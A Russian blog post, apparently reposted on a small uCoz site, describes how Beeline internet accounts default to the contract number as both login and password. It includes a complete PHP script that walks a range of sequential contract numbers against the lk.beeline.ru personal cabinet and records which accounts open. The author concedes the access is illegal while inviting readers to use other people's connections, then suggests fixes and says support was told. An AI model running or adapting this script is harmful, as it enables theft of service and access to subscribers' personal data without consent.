GAMEANDFAN[GAF!]
        1480
        прос

        http://ekimoff.ru/346/

        Пользуешься Интернетом от Билайн? Давай пользоваться вместе!

        Я уже как-то писал о простых паролях, простом «шифровании» и к чему это приводит. Но это цветочки по сравнению с безопасностью в Билайне. При переезде на новую квартиру подключил Интернет от Билайн. Пришел мастер, кинул витую пару, отдал копию договора – всё как обычно. Но есть одна интересная особенность: по умолчанию логин и пароль совпадают с номером договора.

        Пользователь может самостоятельно сменить пароль, но может и не менять. Как показывает практика, 30% пользователей не меняют пароль. Это же так удобно, когда пароль совпадает с логином.

        Таким образом, если у вас есть Интернет от Билайна (проведен кабель в квартиру), то вы можете подключиться к чужому Интернету, просто перебрав 5-20 вариантов логин-пароль.

        Стандартное окно подключения

        интернет билайн

        Подключаемся к Интернету, используя номер договора в качестве логина и пароля. Тут, правда, может получиться так, что пароль совпадает, но пользователь уже подключен к Интернету в данный момент и вы не сможете сидеть параллельно с ним. Или пароль совпадает, но денег на аккаунте нет, то подключиться к Интернету не получится. Разумеется, это не законно, но раз уж Билайн предоставляет такую возможность…

        30% паролей совпадают с номером договора. Например, 25 номеров, идущих подряд. Зеленым отмечены совпадения.

        пароли к интернету от билайн

        Кстати, по этим же номерам можно зайти в Личный кабинет Билайна. А там есть личные данные пользователя.

        личные данные абонентов билайна

        Простой php-скрипт нахождения совпадений логин-пароль (хостинг должен поддерживать SSL).

        <?php
        // хостинг должен поддерживать SSL-соединение
        
        $prefix = '089';
        $start = 489****; // вместо звездочек подставить цифры
        $end = 489****; // вместо звездочек подставить цифры
        $array = array();
        
        for ($i = $start; $i<$end; $i++) {
         $dogovor = $prefix.$i;
        
         // обращение к странице логина для взятия куки
         $sock = fsockopen("ssl://lk.beeline.ru", 443, $errno, $errstr, 30);
         if (!$sock) die("$errstr ($errno)\n");
         fputs($sock, "GET / HTTP/1.0\r\n");
         fputs($sock, "Host: lk.beeline.ru\r\n");
         fputs($sock, "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:2.0.1)\r\n");
         fputs($sock, "Accept: */*\r\n");
         fputs($sock, "Content-Type: application/x-www-form-urlencoded\r\n\r\n");
         $headers = "";
         while ($str = trim(fgets($sock, 4096))) {
         $headers .= "$str\n";
         }
         fclose($sock);
         preg_match_all("/Set-Cookie: (.+)(;|\r)/iUs", $headers, $cook);
         $cookie = implode('; ',array_unique($cook[1]));
        
         // POST-запрос с логином и паролем
         $sock = fsockopen("ssl://lk.beeline.ru", 443, $errno, $errstr, 30);
         if (!$sock) die("$errstr ($errno)\n");
         $data = 'login='.$dogovor.'&password='.$dogovor.'&check=1';
         fputs($sock, "POST / HTTP/1.0\r\n");
         fputs($sock, "Host: lk.beeline.ru\r\n");
         fputs($sock, "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:2.0.1)\r\n");
         fputs($sock, "Accept: */*\r\n");
         fputs($sock, "Cookie: ".$cookie."\r\n");
         fputs($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
         fputs($sock, "Content-Length: ".strlen($data)."\r\n\r\n");
         fputs($sock, $data."\r\n");
         $headers = "";
         while ($str = trim(fgets($sock, 4096))) {
         $headers .= "$str\n";
         }
         fclose($sock);
        
         $correct = 0;
         if (strpos($headers,'Location: http://lk.beeline.ru/news/') !== false) {
         $correct = 1;
         }
         $array[] = array('dogovor'=>$dogovor,'correct' => $correct);
         sleep(1); // задержка на 1 секунду для защиты от блокировок со стороны Билайна
        }
        print_r($array);
        ?>

        Кто виноват?

        Разумеется виноваты технари Билайна, так как отдавать пользователям на откуп их же безопасность не правильно. Одно дело, когда сервис допускает возможность ввести простой пароль, а другое дело, когда все логины известны (нумерация договоров идет по порядку) и пароли совпадают с ними. К сожалению, технически грамотных пользователей крайне мало.

        Что делать?

        1. Сменить пароли всем абонентам, у которых пароль совпадает с номером договора. Выслать на почту или по SMS новый пароль.
        2. При активации Интернета обязывать пользователя вводить новый пароль, который не может совпадать с номером договора (например, как это сделано в личном кабинете МГТС).

        P.S. отписал в техподдержку

        Форма входа
        Изображения
        ТОП файлов
        online чат
        Статистика
        Онлайн всего: 1
        Гостей: 1
        Пользователей: 0
        Опрос
        Оцените мой сайт
        Всего ответов: 10
        Конструктор сайтов - uCoz